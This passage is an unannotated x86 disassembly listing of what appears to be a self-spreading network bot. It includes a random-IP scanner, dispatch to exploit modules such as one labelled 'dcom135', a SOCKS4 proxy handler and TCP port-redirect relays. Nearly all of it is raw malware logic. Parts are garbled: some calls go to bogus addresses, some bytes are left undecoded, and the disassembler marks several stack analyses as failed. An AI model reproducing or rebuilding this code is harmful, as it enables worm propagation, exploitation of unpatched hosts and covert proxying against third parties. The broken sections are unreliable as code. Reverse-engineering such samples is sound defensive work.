[ebp+var_4], esi mov [ebp+var_10], esi call sub_417AB0 cmp eax, 0Fh pop ecx jbe short loc_407656 xor eax, eax jmp short loc_4076C7 ; --------------------------------------------------------------------------- loc_407656: ; CODE XREF: sub_40762E+22j lea eax, [ebp+var_10] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_C] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push [ebp+arg_0] call sub_418A52 add esp, 18h cmp [ebp+var_C], esi jnz short loc_407683 call sub_41730C mov [ebp+var_C], eax loc_407683: ; CODE XREF: sub_40762E+4Bj cmp [ebp+var_8], esi jnz short loc_407690 call sub_41730C mov [ebp+var_8], eax loc_407690: ; CODE XREF: sub_40762E+58j cmp [ebp+var_4], esi jnz short loc_40769D call sub_41730C mov [ebp+var_4], eax loc_40769D: ; CODE XREF: sub_40762E+65j mov eax, [ebp+var_10] cmp eax, esi jnz short loc_4076A9 call sub_41730C loc_4076A9: ; CODE XREF: sub_40762E+74j shl eax, 8 add eax, [ebp+var_4] mov ecx, [ebp+var_C] shl eax, 8 add eax, [ebp+var_8] shl eax, 8 add eax, ecx mov ecx, [ebp+arg_4] mov dword_43C848[ecx*8], eax loc_4076C7: ; CODE XREF: sub_40762E+26j pop esi leave retn sub_40762E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4076CA proc near ; CODE XREF: sub_407767+BBp ; sub_40D4C5+30p var_120 = dword ptr -120h var_11C = dword ptr -11Ch var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 120h push ebx push esi push edi push 1 pop edi xor ebx, ebx push ebx push edi push 2 mov [ebp+var_4], edi call dword_43F6E8 mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4076F3 xor eax, eax jmp short loc_407762 ; --------------------------------------------------------------------------- loc_4076F3: ; CODE XREF: sub_4076CA+23j mov eax, [ebp+arg_0] push [ebp+arg_4] mov [ebp+var_1C], 2 mov [ebp+var_18], eax call dword_43F668 mov [ebp+var_1A], ax lea eax, [ebp+var_4] push eax push 8004667Eh push esi call dword_43F704 lea eax, [ebp+var_1C] push 10h push eax push esi call dword_43F610 mov eax, [ebp+arg_8] mov [ebp+var_8], ebx mov [ebp+var_C], eax lea eax, [ebp+var_C] push eax lea eax, [ebp+var_120] push ebx push eax push ebx push ebx mov [ebp+var_11C], esi mov [ebp+var_120], edi call dword_43F650 push esi mov edi, eax call dword_43F700 xor eax, eax cmp edi, ebx setnle al loc_407762: ; CODE XREF: sub_4076CA+27j pop edi pop esi pop ebx leave retn sub_4076CA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407767 proc near ; DATA XREF: sub_40797F+13Bo var_2A8 = dword ptr -2A8h var_28C = byte ptr -28Ch var_20C = dword ptr -20Ch var_208 = byte ptr -208h var_1F8 = byte ptr -1F8h var_178 = byte ptr -178h var_16C = dword ptr -16Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_15C = dword ptr -15Ch var_158 = dword ptr -158h var_150 = byte ptr -150h var_140 = byte ptr -140h var_C0 = byte ptr -0C0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_150] rep movsd mov esi, [ebp+var_2C] mov dword ptr [eax+148h], 1 mov eax, [ebp+var_28] mov [ebp+var_4], esi mov [ebp+arg_0], eax call near ptr 2600000h nop push eax call sub_417302 mov ebx, esi pop ecx imul ebx, 234h loc_4077AE: ; CODE XREF: sub_407767+204j mov eax, dword_4450C4[ebx] cmp dword_43C84C[eax*8], 0 jz loc_407970 cmp [ebp+var_10], 0 push eax jz short loc_4077D8 lea eax, [ebp+var_150] push eax call sub_40762E pop ecx jmp short loc_4077DD ; --------------------------------------------------------------------------- loc_4077D8: ; CODE XREF: sub_407767+60j call sub_4075E6 loc_4077DD: ; CODE XREF: sub_407767+6Fj pop ecx mov edi, eax push [ebp+arg_0] push dword_4450C4[ebx] push [ebp+var_3C] push edi call dword_43F6F4 push eax lea eax, [ebp+var_28C] push offset unk_42B3BC push eax call sub_4172B0 add esp, 18h lea eax, [ebp+var_28C] push eax lea eax, dword_444EC0[ebx] push eax call sub_4172B0 push [ebp+var_38] push [ebp+var_3C] push edi call sub_4076CA add esp, 14h cmp eax, 1 jnz loc_407960 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_4078B4 push offset dword_43D7E8 nop call near ptr 77F7E21Fh push [ebp+var_3C] push edi call dword_43F6F4 push eax lea eax, [ebp+var_28C] push offset unk_42B384 push eax call sub_4172B0 add esp, 10h cmp [ebp+var_14], 0 jnz short loc_407896 cmp [ebp+var_C0], 0 push 1 push [ebp+var_18] lea eax, [ebp+var_28C] push eax lea eax, [ebp+var_C0] jnz short loc_40788A lea eax, [ebp+var_140] loc_40788A: ; CODE XREF: sub_407767+11Bj push eax push [ebp+var_40] call sub_40D679 add esp, 14h loc_407896: ; CODE XREF: sub_407767+100j lea eax, [ebp+var_28C] push eax call sub_40BF6D mov [esp+2A8h+var_2A8], offset dword_43D7E8 call near ptr 77F7E300h nop jmp loc_407960 ; --------------------------------------------------------------------------- loc_4078B4: ; CODE XREF: sub_407767+D0j push edi call dword_43F6F4 push eax lea eax, [ebp+var_208] push eax call sub_4172B0 mov eax, [ebp+var_20] pop ecx imul eax, 3Ch pop ecx add eax, offset aDcom135_0 ; "dcom135" push eax lea eax, [ebp+var_178] push eax call sub_4172B0 cmp [ebp+var_C0], 0 pop ecx pop ecx lea eax, [ebp+var_C0] jnz short loc_4078F9 lea eax, [ebp+var_140] loc_4078F9: ; CODE XREF: sub_407767+18Aj push eax lea eax, [ebp+var_1F8] push eax call sub_4172B0 mov eax, [ebp+var_40] pop ecx mov [ebp+var_20C], eax mov eax, [ebp+var_18] mov [ebp+var_15C], eax mov eax, [ebp+var_14] mov [ebp+var_158], eax mov eax, [ebp+var_3C] mov [ebp+var_16C], eax mov eax, [ebp+var_20] pop ecx mov [ebp+var_164], eax imul eax, 3Ch sub esp, 0BCh mov [ebp+var_168], esi lea esi, [ebp+var_20C] push 2Fh pop ecx mov edi, esp rep movsd call off_42ACB4[eax] mov esi, [ebp+var_4] add esp, 0BCh loc_407960: ; CODE XREF: sub_407767+C6j ; sub_407767+148j push 7D0h call near ptr 2600833h nop jmp loc_4077AE ; --------------------------------------------------------------------------- loc_407970: ; CODE XREF: sub_407767+55j push esi call sub_417078 pop ecx push 0 nop call near ptr 25F0973h sub_407767 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40797F proc near ; DATA XREF: sub_40EE72+3302o ; sub_40EE72+5137o var_1DC = dword ptr -1DCh var_1CC = byte ptr -1CCh var_14C = byte ptr -14Ch var_13C = byte ptr -13Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1CCh mov eax, [ebp+arg_0] push ebx push esi push edi push 53h mov esi, eax pop ecx lea edi, [ebp+var_14C] push 1 pop ebx rep movsd mov [eax+144h], ebx lea eax, [ebp+var_14C] push eax call dword_43F6A8 mov ecx, [ebp+var_2C] sub esp, 14Ch lea esi, [ebp+var_14C] push 53h mov dword_43C848[ecx*8], eax pop ecx mov edi, esp rep movsd call sub_407252 push 8 call sub_416FA4 add esp, 150h cmp eax, ebx jnz short loc_407A4D mov esi, offset dword_43D7E8 push esi nop call near ptr 26C0000h push 80000400h push esi nop call near ptr 26B1A55h test eax, eax jnz short loc_407A4D lea eax, [ebp+var_1CC] push offset unk_42B4F0 push eax call sub_4172B0 xor ebx, ebx pop ecx cmp [ebp+var_10], ebx pop ecx jnz short loc_407A37 push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40D679 add esp, 14h loc_407A37: ; CODE XREF: sub_40797F+99j lea eax, [ebp+var_1CC] push eax call sub_40BF6D pop ecx pop edi pop esi xor eax, eax pop ebx leave retn 4 ; --------------------------------------------------------------------------- loc_407A4D: ; CODE XREF: sub_40797F+63j ; sub_40797F+7Fj mov eax, [ebp+var_2C] mov esi, dword_424064 mov edi, ebx mov dword_43C84C[eax*8], ebx xor ebx, ebx cmp [ebp+var_20], 1 jb loc_407B1A loc_407A6B: ; CODE XREF: sub_40797F+195j push edi lea eax, [ebp+var_14C] push [ebp+var_2C] mov [ebp+var_24], edi push [ebp+var_38] push eax lea eax, [ebp+var_1CC] push offset unk_42B4A8 push eax call sub_4172B0 push ebx lea eax, [ebp+var_1CC] push 8 push eax call sub_416D5C mov [ebp+var_28], eax imul eax, 234h mov ecx, [ebp+var_2C] add esp, 24h mov dword_4450C4[eax], ecx lea eax, [ebp+var_14C] push ebx push ebx push eax push offset sub_407767 push ebx push ebx nop call near ptr 2670BF1h mov ecx, [ebp+var_28] imul ecx, 234h cmp eax, ebx mov dword_4450D4[ecx], eax jz short loc_407AE5 loc_407ADA: ; CODE XREF: sub_40797F+164j cmp [ebp+var_4], ebx jnz short loc_407B0C push 1Eh call esi jmp short loc_407ADA ; --------------------------------------------------------------------------- loc_407AE5: ; CODE XREF: sub_40797F+159j nop call near ptr 26402CBh push eax lea eax, [ebp+var_1CC] push offset unk_42B45C push eax call sub_4172B0 lea eax, [ebp+var_1CC] push eax call sub_40BF6D add esp, 10h loc_407B0C: ; CODE XREF: sub_40797F+15Ej push 1Eh call esi inc edi cmp edi, [ebp+var_20] jbe loc_407A6B loc_407B1A: ; CODE XREF: sub_40797F+E6j cmp [ebp+var_30], ebx jz loc_407BC4 mov eax, [ebp+var_30] imul eax, 0EA60h push eax call esi loc_407B2F: ; CODE XREF: sub_40797F+250j push [ebp+var_30] mov eax, [ebp+var_2C] push [ebp+var_38] mov eax, dword_43C848[eax*8] push eax call dword_43F6F4 push eax lea eax, [ebp+var_1CC] push offset unk_42B408 push eax call sub_4172B0 add esp, 14h cmp [ebp+var_10], ebx jnz short loc_407B7D push ebx lea eax, [ebp+var_1CC] push [ebp+var_14] push eax lea eax, [ebp+var_13C] push eax push [ebp+var_3C] call sub_40D679 add esp, 14h loc_407B7D: ; CODE XREF: sub_40797F+1DFj lea eax, [ebp+var_1CC] push eax call sub_40BF6D mov eax, [ebp+var_2C] mov [esp+1DCh+var_1DC], 0BB8h mov dword_43C84C[eax*8], ebx call esi push 8 call sub_416FA4 cmp eax, 1 pop ecx jnz short loc_407BB4 push offset dword_43D7E8 nop call near ptr 26C0000h loc_407BB4: ; CODE XREF: sub_40797F+228j push [ebp+var_2C] call sub_417078 pop ecx push ebx nop call near ptr 25F0973h loc_407BC4: ; CODE XREF: sub_40797F+19Ej ; sub_40797F+25Dj mov eax, [ebp+var_2C] cmp dword_43C84C[eax*8], 1 jnz loc_407B2F push 7D0h call esi jmp short loc_407BC4 sub_40797F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407BDE proc near ; DATA XREF: sub_40EE72+36DFo var_34C = byte ptr -34Ch var_14C = byte ptr -14Ch var_148 = dword ptr -148h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_2C = dword ptr -2Ch var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 34Ch mov eax, [ebp+arg_0] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp+var_14C] rep movsd push 1 xor esi, esi pop edi push 10h mov [eax+120h], edi pop ebx lea eax, [ebp+var_10] push ebx push esi push eax call sub_417330 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_40] call dword_43F668 push 6 push edi push 2 mov [ebp+var_E], ax mov [ebp+var_C], esi mov [ebp+arg_0], ebx call dword_43F6E8 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_407D42 mov eax, [ebp+var_3C] push edi imul eax, 234h push 401h push esi push ebx mov dword_4450CC[eax], ebx call dword_43F584 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43F694 test eax, eax jnz loc_407D42 push 0Ah push ebx call dword_43F690 test eax, eax jnz loc_407D42 loc_407C88: ; CODE XREF: sub_407BDE+BEj ; sub_407BDE+13Fj lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_24] push eax push ebx call dword_43F6FC mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_407C88 movzx eax, [ebp+var_22] push [ebp+var_3C] mov [ebp+var_148], edi mov [ebp+var_2C], esi push eax push [ebp+var_20] call dword_43F6F4 push eax lea eax, [ebp+var_34C] push offset unk_42B584 push eax call sub_4172B0 push edi lea eax, [ebp+var_34C] push 10h push eax call sub_416D5C mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_4450C4[eax], ecx lea eax, [ebp+var_14] push eax lea eax, [ebp+var_14C] push esi push eax push offset loc_407D66 push esi push esi nop call near ptr 2670BF1h mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_4450D4[ecx], eax jz short loc_407D2D loc_407D1A: ; CODE XREF: sub_407BDE+14Dj cmp [ebp+var_2C], esi jnz loc_407C88 push 32h nop call near ptr 2600833h jmp short loc_407D1A ; --------------------------------------------------------------------------- loc_407D2D: ; CODE XREF: sub_407BDE+13Aj nop call near ptr 26402CBh push eax push offset unk_42B538 call sub_40BFE1 pop ecx pop ecx jmp short loc_407D45 ; --------------------------------------------------------------------------- loc_407D42: ; CODE XREF: sub_407BDE+61j ; sub_407BDE+93j ... mov edi, [ebp+arg_0] loc_407D45: ; CODE XREF: sub_407BDE+162j push edi call dword_43F700 push ebx call dword_43F700 push [ebp+var_3C] call sub_417078 pop ecx push esi nop call near ptr 25F0973h pop edi pop esi pop ebx sub_407BDE endp ; sp-analysis failed loc_407D66: ; DATA XREF: sub_407BDE+11Co push ebp mov ebp, esp mov eax, 1344h call sub_417B30 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_43F6E8 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_407F1C push 10h lea eax, [ebp-18h] push edi push eax call sub_417330 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_43F668 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_43F6A8 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_407DF6 lea eax, [ebp-13Ch] push eax call dword_43F6EC jmp short loc_407E04 ; --------------------------------------------------------------------------- loc_407DF6: ; CODE XREF: ___:00407DE5j push 2 lea eax, [ebp-8] push 4 push eax call dword_43F620 loc_407E04: ; CODE XREF: ___:00407DF4j cmp eax, edi jz loc_407F1C mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_43F610 cmp eax, 0FFFFFFFFh jz loc_407F1C movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_43F6F4 push eax lea eax, [ebp-344h] push offset unk_42B62C push eax call sub_4172B0 push esi lea eax, [ebp-344h] push 10h push eax call sub_416D5C imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_4450CC[ebx] mov dword_4450C4[eax], ecx add esp, 20h mov ecx, [esi] mov dword_4450D0[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_407F4D push edi push edi call near ptr 2670BF1h nop mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_4450D4[ecx], eax jz short loc_407F09 loc_407EB6: ; CODE XREF: ___:00407EC3j cmp [ebp-20h], edi jnz short loc_407EC5 push 32h call near ptr 2600833h nop jmp short loc_407EB6 ; --------------------------------------------------------------------------- loc_407EC5: ; CODE XREF: ___:00407EB9j mov ebx, 1000h loc_407ECA: ; CODE XREF: ___:00407F05j push ebx lea eax, [ebp-1344h] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_43F680 cmp eax, edi jle short loc_407F1C push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_407ECA jmp short loc_407F1C ; --------------------------------------------------------------------------- loc_407F09: ; CODE XREF: ___:00407EB4j nop call near ptr 26402CBh push eax push offset unk_42B5DC call sub_40BFE1 pop ecx pop ecx loc_407F1C: ; CODE XREF: ___:00407DAAj ; ___:00407E06j ... mov eax, [ebp-4] imul eax, 234h push dword_4450CC[eax] call dword_43F700 push dword ptr [ebp+8] call dword_43F700 push dword ptr [ebp-4] call sub_417078 pop ecx push edi nop call near ptr 25F0973h pop edi pop esi pop ebx loc_407F4D: ; DATA XREF: ___:00407E96o push ebp mov ebp, esp mov eax, 1128h call sub_417B30 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_407F84: ; CODE XREF: ___:00407FC9j push edi lea eax, [ebp-1128h] push 0 push eax call sub_417330 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_4450D0[esi] call dword_43F680 test eax, eax jle short loc_407FCB push 0 push eax lea eax, [ebp-1128h] push eax push dword_4450CC[esi] call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz short loc_407F84 loc_407FCB: ; CODE XREF: ___:00407FAEj push dword_4450D0[esi] call dword_43F700 push dword ptr [ebp-14h] call sub_417078 pop ecx push 0 ; --------------------------------------------------------------------------- dw 8CE8h dd 90021E89h ; --------------------------------------------------------------------------- pop edi pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407FEA proc near ; DATA XREF: sub_40EE72+5E51o var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_4D0 = byte ptr -4D0h var_4CF = byte ptr -4CFh var_4CE = word ptr -4CEh var_4CC = dword ptr -4CCh var_4C8 = byte ptr -4C8h var_2D4 = byte ptr -2D4h var_D4 = dword ptr -0D4h var_D0 = byte ptr -0D0h var_C8 = byte ptr -0C8h var_44 = byte ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp+var_D4] push 2Ch mov [ebp+var_4], ebx pop ecx rep movsd push 1 xor esi, esi pop edi mov [eax+0A8h], edi push ebx lea eax, [ebp+var_14] push esi push eax call sub_417330 add esp, 0Ch mov word ptr [ebp+var_14], 2 push [ebp+var_40] call dword_43F668 push 6 push edi push 2 mov word ptr [ebp+var_14+2], ax mov [ebp+var_10], esi call dword_43F6E8 mov edi, eax mov eax, [ebp+var_3C] imul eax, 234h push ebx mov dword_4450CC[eax], edi lea eax, [ebp+var_14] push eax push edi call dword_43F694 test eax, eax jnz loc_40818C push 0Ah push edi call dword_43F690 test eax, eax jnz loc_40818C push [ebp+var_40] push [ebp+var_D4] call sub_40AEE0 pop ecx push eax lea eax, [ebp+var_2D4] push offset unk_42B75C push eax call sub_4172B0 add esp, 10h cmp [ebp+var_30], esi jnz short loc_4080C5 push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_40D679 add esp, 14h loc_4080C5: ; CODE XREF: sub_407FEA+B9j ; sub_407FEA+172j ... lea eax, [ebp+var_2D4] push eax call sub_40BF6D pop ecx lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push edi call dword_43F6FC push [ebp+var_3C] mov ebx, eax movzx eax, [ebp+var_22] push eax mov [ebp+var_28], esi push [ebp+var_20] call dword_43F6F4 push eax lea eax, [ebp+var_2D4] push offset unk_42B708 push eax call sub_4172B0 push ebx lea eax, [ebp+var_2D4] push 11h push eax call sub_416D5C mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_4450C4[eax], ecx lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_D4] push esi push eax push offset loc_4081EF push esi push esi call near ptr 2670BF1h nop mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_4450D4[ecx], eax jz short loc_40816C loc_408159: ; CODE XREF: sub_407FEA+180j cmp [ebp+var_28], esi jnz loc_4080C5 push 5 nop call near ptr 2600833h jmp short loc_408159 ; --------------------------------------------------------------------------- loc_40816C: ; CODE XREF: sub_407FEA+16Dj nop call near ptr 26402CBh push eax lea eax, [ebp+var_2D4] push offset unk_42B6C0 push eax call sub_4172B0 add esp, 0Ch jmp loc_4080C5 ; --------------------------------------------------------------------------- loc_40818C: ; CODE XREF: sub_407FEA+7Bj ; sub_407FEA+8Cj push edi call dword_43F700 push [ebp+var_40] lea eax, [ebp+var_2D4] push offset unk_42B680 push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_4081CF push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_40D679 add esp, 14h loc_4081CF: ; CODE XREF: sub_407FEA+1C3j lea eax, [ebp+var_2D4] push eax call sub_40BF6D push [ebp+var_3C] call sub_417078 pop ecx pop ecx push esi call near ptr 25F0973h nop pop edi pop esi pop ebx loc_4081EF: ; DATA XREF: sub_407FEA+14Fo push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp+var_C8] rep movsd mov esi, [ebp+var_2C] push 1 mov [ebp+arg_0], esi imul esi, 234h pop edi lea esi, dword_4450CC[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov [ebp+var_8], 5 mov [ebp+var_5D0], eax lea eax, [ebp+var_8] push eax push ebx lea eax, [ebp+var_5D4] push ebx push eax push ebx mov [ebp+var_4], ebx mov [ebp+var_5D4], edi call dword_43F650 test eax, eax jnz short loc_408270 push dword ptr [esi] call dword_43F700 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 25F0973h loc_408270: ; CODE XREF: sub_407FEA+26Cj push ebx lea eax, [ebp+var_4D0] push 408h push eax push dword ptr [esi] call dword_43F680 test eax, eax jg short loc_4082A1 push dword ptr [esi] call dword_43F700 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 25F0973h loc_4082A1: ; CODE XREF: sub_407FEA+29Dj cmp [ebp+var_4D0], 4 jnz loc_40849B cmp [ebp+var_4CF], 1 jnz loc_40849B cmp [ebp+var_44], bl jz short loc_408337 lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax call sub_4176D0 pop ecx test eax, eax pop ecx jz short loc_408337 lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax push offset unk_42B830 call sub_40BFE1 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Dh call sub_417330 add esp, 18h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43F6B8 push dword ptr [esi] call dword_43F700 push [ebp+arg_0] call sub_417078 pop ecx push ebx call near ptr 25F0973h nop loc_408337: ; CODE XREF: sub_407FEA+2D4j ; sub_407FEA+2EAj push 10h lea eax, [ebp+var_18] push ebx push eax call sub_417330 mov ax, [ebp+var_4CE] add esp, 0Ch mov [ebp+var_16], ax mov eax, [ebp+var_4CC] push 6 push edi push 2 mov [ebp+var_18], 2 mov [ebp+var_14], eax call dword_43F6E8 mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_4083CF call dword_43F5FC push eax push offset unk_42B7E4 call sub_40BFE1 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_417330 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43F6B8 push dword ptr [esi] call dword_43F700 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 25F0973h loc_4083CF: ; CODE XREF: sub_407FEA+386j lea eax, [ebp+var_18] push 10h push eax push edi call dword_43F610 cmp eax, 0FFFFFFFFh jnz short loc_40843E call dword_43F5FC push eax push offset unk_42B794 call sub_40BFE1 push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_417330 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43F6B8 push dword ptr [esi] call dword_43F700 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 25F0973h loc_40843E: ; CODE XREF: sub_407FEA+3F5j push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Ah call sub_417330 add esp, 0Ch lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_43F6B8 push dword ptr [esi] push edi call sub_4084B3 pop ecx pop ecx push edi call dword_43F700 push dword ptr [esi] call dword_43F700 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 25F0973h loc_40849B: ; CODE XREF: sub_407FEA+2BEj ; sub_407FEA+2CBj push dword ptr [esi] call dword_43F700 push [ebp+arg_0] call sub_417078 pop ecx push ebx nop call near ptr 25F0973h sub_407FEA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4084B3 proc near ; CODE XREF: sub_407FEA+48Bp var_504 = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi mov esi, 400h loc_4084C9: ; CODE XREF: sub_4084B3+C5j ; sub_4084B3+F5j mov [ebp+var_100], ebx mov [ebp+var_104], 1 xor ecx, ecx lea eax, [ebp+var_100] loc_4084E1: ; CODE XREF: sub_4084B3+3Cj mov edx, [ebp+arg_0] cmp [eax], edx jz short loc_4084F1 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4084E1 loc_4084F1: ; CODE XREF: sub_4084B3+33j cmp ecx, 1 jnz short loc_408506 mov [ebp+var_FC], edx mov [ebp+var_104], 2 loc_408506: ; CODE XREF: sub_4084B3+41j push esi lea eax, [ebp+var_504] push edi push eax call sub_417330 add esp, 0Ch lea eax, [ebp+var_104] push edi push edi push edi push eax push edi call dword_43F650 lea eax, [ebp+var_104] push eax push ebx call dword_43F560 test eax, eax jz short loc_408566 push edi lea eax, [ebp+var_504] push esi push eax push ebx call dword_43F680 cmp eax, 0FFFFFFFFh jz short loc_4085AE push edi push eax lea eax, [ebp+var_504] push eax push [ebp+arg_0] call dword_43F6B8 cmp eax, 0FFFFFFFFh jz short loc_4085AE loc_408566: ; CODE XREF: sub_4084B3+85j lea eax, [ebp+var_104] push eax push [ebp+arg_0] call dword_43F560 test eax, eax jz loc_4084C9 push edi lea eax, [ebp+var_504] push esi push eax push [ebp+arg_0] call dword_43F680 cmp eax, 0FFFFFFFFh jz short loc_4085AE push edi push eax lea eax, [ebp+var_504] push eax push ebx call dword_43F6B8 cmp eax, 0FFFFFFFFh jnz loc_4084C9 loc_4085AE: ; CODE XREF: sub_4084B3+9Aj ; sub_4084B3+B1j ... pop edi pop esi pop ebx leave retn sub_4084B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4085B3 proc near ; CODE XREF: sub_40EE72+45B1p var_484 = byte ptr -484h var_84 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = word ptr -78h var_76 = word ptr -76h var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = word ptr -4Ch var_4A = word ptr -4Ah var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = word ptr -30h var_2E = dword ptr -2Eh var_2A = word ptr -2Ah 